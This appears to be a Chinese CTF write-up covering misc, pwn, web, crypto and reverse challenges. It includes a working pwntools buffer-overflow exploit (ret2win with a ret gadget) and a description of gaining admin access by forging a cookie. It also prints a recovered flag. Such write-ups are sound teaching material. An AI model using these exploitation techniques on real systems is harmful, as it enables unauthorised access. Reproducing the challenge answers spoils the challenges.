misc
ezpic
在這個通道可以看到二維碼
掃一下能看到前半flag
010裡看到後半flag
簡單編碼
根據提示有,我們可以找到rot系列的rot13和rot47,嘗試一下就有flag了
pwn
epwn
這回真是ezpwn了(
檢查保護
IDA找到漏洞函式gets和偏移量以及後門函式
於是可以快樂的寫exp了
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
filename="./ezpwn"
p=process(filename)
elf=ELF(filename)
flag_addr=0x400547
padding=40
payload=padding*b'a'+p64(0x400416)+p64(flag_addr)
p.sendline(payload)
p.interactive()
這裡被棧對齊絆了一下,一開始怎麼弄都不對,後來忘了可能是64位沒有棧對齊的緣故,用ROPgadget找了個ret就好了
web
簽到題(忘了叫什麼名字了)
比賽的時候沒有及時截圖,但是截了一張紀念我第一次做出來web的紀念圖.
我的大體流程是先玩了一下游戲,然後彈窗提示我要去訪問一個php檔案,於是我就去訪問了一下,那個頁面大概是說要我是admin才可以
一開始我嘗試在url裡用?傳參(?user=admin),但是不對,後來我就想著用bp看看,抓了一下包,發現響應包的cooki裡有個user,聯想到提示的admin,我就在輸入包里加了個cooki:admin.相應包裡就出來flag了
crypto
古典之美
給了串密文yzabliviiszwve{blbekmnehedtmltfxrhsxhn}
題目提示是:凱撒?好像又不是凱撒(大概是這樣)
於是我就先拿凱撒變成xxxx{xxxxx}的形式(這個應該是巧合了,我不清楚cyberchef裡的凱撒是凱撒盒子加密,一般來說的凱撒應該都是rot系列的)
然後又想到是不是可以rot一下看看,在不破壞{}的情況下,只有rot13系列可以,因為rot47會對所有可見字元在ASCII碼上rot
於是得到flag
reverse
exchange
沒殼,進入IDA看看先
這個程式就是去檢驗輸入的v9對不對,只不過v9的檢驗順序是和v7掛鉤的,而不是順序的檢測,根據這個我們就可以寫出來指令碼了
#include <iostream>
#include <bits/stdc++.h>
using namespace std;
int main()
{
int v7[38];
v7[0] = 0;
v7[1] = 1;
v7[2] = 2;
v7[3] = 3;
v7[4] = 4;
v7[5] = 13;
v7[6] = 28;
v7[7] = 5;
v7[8] = 20;
v7[9] = 29;
v7[10] = 7;
v7[11] = 26;
v7[12] = 34;
v7[13] = 18;
v7[14] = 14;
v7[15] = 8;
v7[16] = 35;
v7[17] = 24;
v7[18] = 19;
v7[19] = 12;
v7[20] = 23;
v7[21] = 15;
v7[22] = 10;
v7[23] = 36;
v7[24] = 31;
v7[25] = 6;
v7[26] = 27;
v7[27] = 17;
v7[28] = 25;
v7[29] = 32;
v7[30] = 22;
v7[31] = 11;
v7[32] = 30;
v7[33] = 21;
v7[34] = 33;
v7[35] = 9;
v7[36] = 16;
v7[37] = 37;
char v8[38];
v8[0] = 'f';
v8[1] = 'l';
v8[2] = 'a';
v8[3] = 'g';
v8[4] = '{';
v8[5] = '4';
v8[6] = '7';
v8[7] = 'e';
v8[8] = 'b';
v8[9] = 'f';
v8[10] = '0';
v8[11] = '0';
v8[12] = '8';
v8[13] = '9';
v8[14] = '9';
v8[15] = 'a';
v8[16] = '3';
v8[17] = '6';
v8[18] = 'a';
v8[19] = '9';
v8[20] = '5';
v8[21] = 'b';
v8[22] = 'c';
v8[23] = 'e';
v8[24] = '0';
v8[25] = '1';
v8[26] = '5';
v8[27] = '5';
v8[28] = 'e';
v8[29] = 'f';
v8[30] = 'e';
v8[31] = '3';
v8[32] = '2';
v8[33] = 'b';
v8[34] = '8';
v8[35] = 'd';
v8[36] = 'a';
v8[37] = '}';
char str[40];
for(int i=0;i<38;i++){
str[v7[i]]=v8[i];
}
cout<<str;
}